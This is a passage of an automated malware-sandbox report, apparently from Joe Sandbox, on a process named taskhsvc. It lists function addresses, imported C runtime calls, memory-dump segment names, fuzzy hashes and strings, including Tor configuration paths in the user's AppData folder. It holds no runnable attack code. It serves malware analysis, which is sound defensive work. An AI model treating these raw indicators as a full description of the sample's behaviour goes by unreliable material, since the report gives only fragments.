                                                                                                                          • abort.MSVCRT ref: 00C51A78
                                                                                                                          • memset.MSVCRT ref: 00C51AA4
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C51AE6
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$abortmemset
                                                                                                                          • String ID: 4f
                                                                                                                          • API String ID: 4235535680-4177374047
                                                                                                                          • Opcode ID: 4b91829d9e04f5c0ebeb58c5b0ca6ad51edaf97066f2310b721d27f19d523c18
                                                                                                                          • Instruction ID: 1d66bc9dfb5dbe52e6e19d70dc15fdb19a4dd4b2c82c6bedb4e9a49e0f70c94c
                                                                                                                          • Opcode Fuzzy Hash: 4b91829d9e04f5c0ebeb58c5b0ca6ad51edaf97066f2310b721d27f19d523c18
                                                                                                                          • Instruction Fuzzy Hash: 8711FBB49093059FCB00FFB5C1456AEBBF0BF44300F419819E894AB341D7789A85CFA2
                                                                                                                          Function 00C49AAB Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C49B28
                                                                                                                            • Part of subcall function 00C4990B: __stack_chk_fail.LIBSSP-0 ref: 00C49AA1
                                                                                                                            • Part of subcall function 00D36005: __stack_chk_fail.LIBSSP-0 ref: 00D3605E
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID: C:\Users\user\AppData\Roaming\tor\torrc$C:\Users\user\AppData\Roaming\tor\torrc-defaults$z9
                                                                                                                          • API String ID: 4216919130-3676730555
                                                                                                                          • Opcode ID: dde187fb7800b4974e640d57a7c3538229d80838da06c397f40460823a17a10c
                                                                                                                          • Instruction ID: cd4a4d9d0a841a24b8f13aaa249a4abd7d4d4948a08dd26942f5ddc68a344796
                                                                                                                          • Opcode Fuzzy Hash: dde187fb7800b4974e640d57a7c3538229d80838da06c397f40460823a17a10c
                                                                                                                          • Instruction Fuzzy Hash: F5F0C9B0904215AFCB00EF69C58619FBBF1FB85344F01D819E499AB345D7B49945CF62
                                                                                                                          Function 00D4888C Relevance: 6.1, APIs: 4, Instructions: 58stringlibraryCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: LibraryLoad__stack_chk_failstrcatstrlen
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 317683016-0
                                                                                                                          • Opcode ID: 986a7adea773845b6093d43b5ecdbda3328d9de32e0b1d16b3483afeb1820c43
                                                                                                                          • Instruction ID: 62a74e6911d96478521368c8b95e7e9fd9342d5874778a16d9e1a8bad09d2f06
                                                                                                                          • Opcode Fuzzy Hash: 986a7adea773845b6093d43b5ecdbda3328d9de32e0b1d16b3483afeb1820c43
                                                                                                                          • Instruction Fuzzy Hash: 8A213671E046188FCB14EF28C8867CCB7F1EB49304F4584A9E658E7340E674EE858F92
                                                                                                                          Function 00BE60BC Relevance: 6.0, APIs: 4, Instructions: 48stringCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • strerror.MSVCRT ref: 00BE60C8
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                            • Part of subcall function 00CEA57C: _write.MSVCRT ref: 00CEA5E6
                                                                                                                            • Part of subcall function 00CEA57C: strlen.MSVCRT ref: 00CEA62B
                                                                                                                            • Part of subcall function 00CEA57C: __stack_chk_fail.LIBSSP-0 ref: 00CEA68C
                                                                                                                          • strerror.MSVCRT ref: 00BE6117
                                                                                                                          • free.MSVCRT ref: 00BE615F
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00BE63EC
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
